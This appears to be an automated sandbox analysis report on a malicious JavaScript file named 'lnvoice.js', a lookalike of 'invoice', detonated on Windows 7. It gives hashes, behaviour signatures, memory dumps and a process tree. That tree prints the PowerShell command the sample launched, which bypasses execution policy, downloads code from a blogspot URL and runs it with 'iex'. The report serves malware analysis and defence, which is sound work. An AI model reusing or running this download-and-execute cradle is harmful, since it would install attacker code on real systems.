Analysis
-
max time kernel
118s -
max time network
119s -
platform
windows7_x64 -
resource
win7-20240221-en -
resource tags
arch:x64arch:x86image:win7-20240221-enlocale:en-usos:windows7-x64system -
submitted
06-05-2024 06:48
Static task
static1
Behavioral task
behavioral1
Sample
lnvoice.js
Resource
win7-20240221-en
5 signatures
150 seconds
Behavioral task
behavioral2
Sample
lnvoice.js
Resource
win10v2004-20240426-en
15 signatures
150 seconds
General
-
Target
lnvoice.js
-
Size
1.3MB
-
MD5
65f9c67965df098ac25026ce6b229861
-
SHA1
683649d54495bc1efa6dc22e3efab1c2ac3116fd
-
SHA256
acb9edc3989f14d72f7994426388cc89f9e7a2167160b5cfa971fe0b78299288
-
SHA512
bdcb1a1c24c5148b37b8a3e3ff96305d3637e8e39d9811ea507a8481c682080195d1b7e12b57e42d6572925d8164c1edfb491911dd28277bd37432961d05c0b8
-
SSDEEP
384:AhSvcDV0ZbSpIM8yvPMGjYD9s4S6SVh+GjhmSPgEH0vO6/scXeDQX45vH58jcX52:AhSvWISpEhRLXriI
Score
3/10
Malware Config
Signatures
-
Command and Scripting Interpreter: JavaScript 1 TTPs
-
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s).
-
Suspicious behavior: EnumeratesProcesses 1 IoCs
Processes:
powershell.exepid process 2724 powershell.exe -
Suspicious use of AdjustPrivilegeToken 1 IoCs
Processes:
powershell.exedescription pid process Token: SeDebugPrivilege 2724 powershell.exe -
Suspicious use of WriteProcessMemory 3 IoCs
Processes:
wscript.exedescription pid process target process PID 2364 wrote to memory of 2724 2364 wscript.exe powershell.exe PID 2364 wrote to memory of 2724 2364 wscript.exe powershell.exe PID 2364 wrote to memory of 2724 2364 wscript.exe powershell.exe
Processes
-
C:\Windows\system32\wscript.exewscript.exe C:\Users\Admin\AppData\Local\Temp\lnvoice.js1⤵
- Suspicious use of WriteProcessMemory
-
C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ep Bypass -c [Net.ServicePointManager]::SecurityProtocol = [Net.SecurityProtocolType]::Tls12;$(irm mainhotel5may.blogspot.com//////////////////////hehehehe) | . iex;Start-Sleep -Seconds 3;2⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
Network
MITRE ATT&CK Matrix ATT&CK v13
Replay Monitor
Loading Replay Monitor...
Downloads
-
memory/2724-4-0x000007FEF597E000-0x000007FEF597F000-memory.dmpFilesize
4KB
-
memory/2724-5-0x000000001B640000-0x000000001B922000-memory.dmpFilesize
2.9MB
-
memory/2724-6-0x0000000001E20000-0x0000000001E28000-memory.dmpFilesize
32KB
-
memory/2724-7-0x000007FEF56C0000-0x000007FEF605D000-memory.dmpFilesize
9.6MB
-
memory/2724-8-0x000007FEF56C0000-0x000007FEF605D000-memory.dmpFilesize
9.6MB
-
memory/2724-9-0x000007FEF56C0000-0x000007FEF605D000-memory.dmpFilesize
9.6MB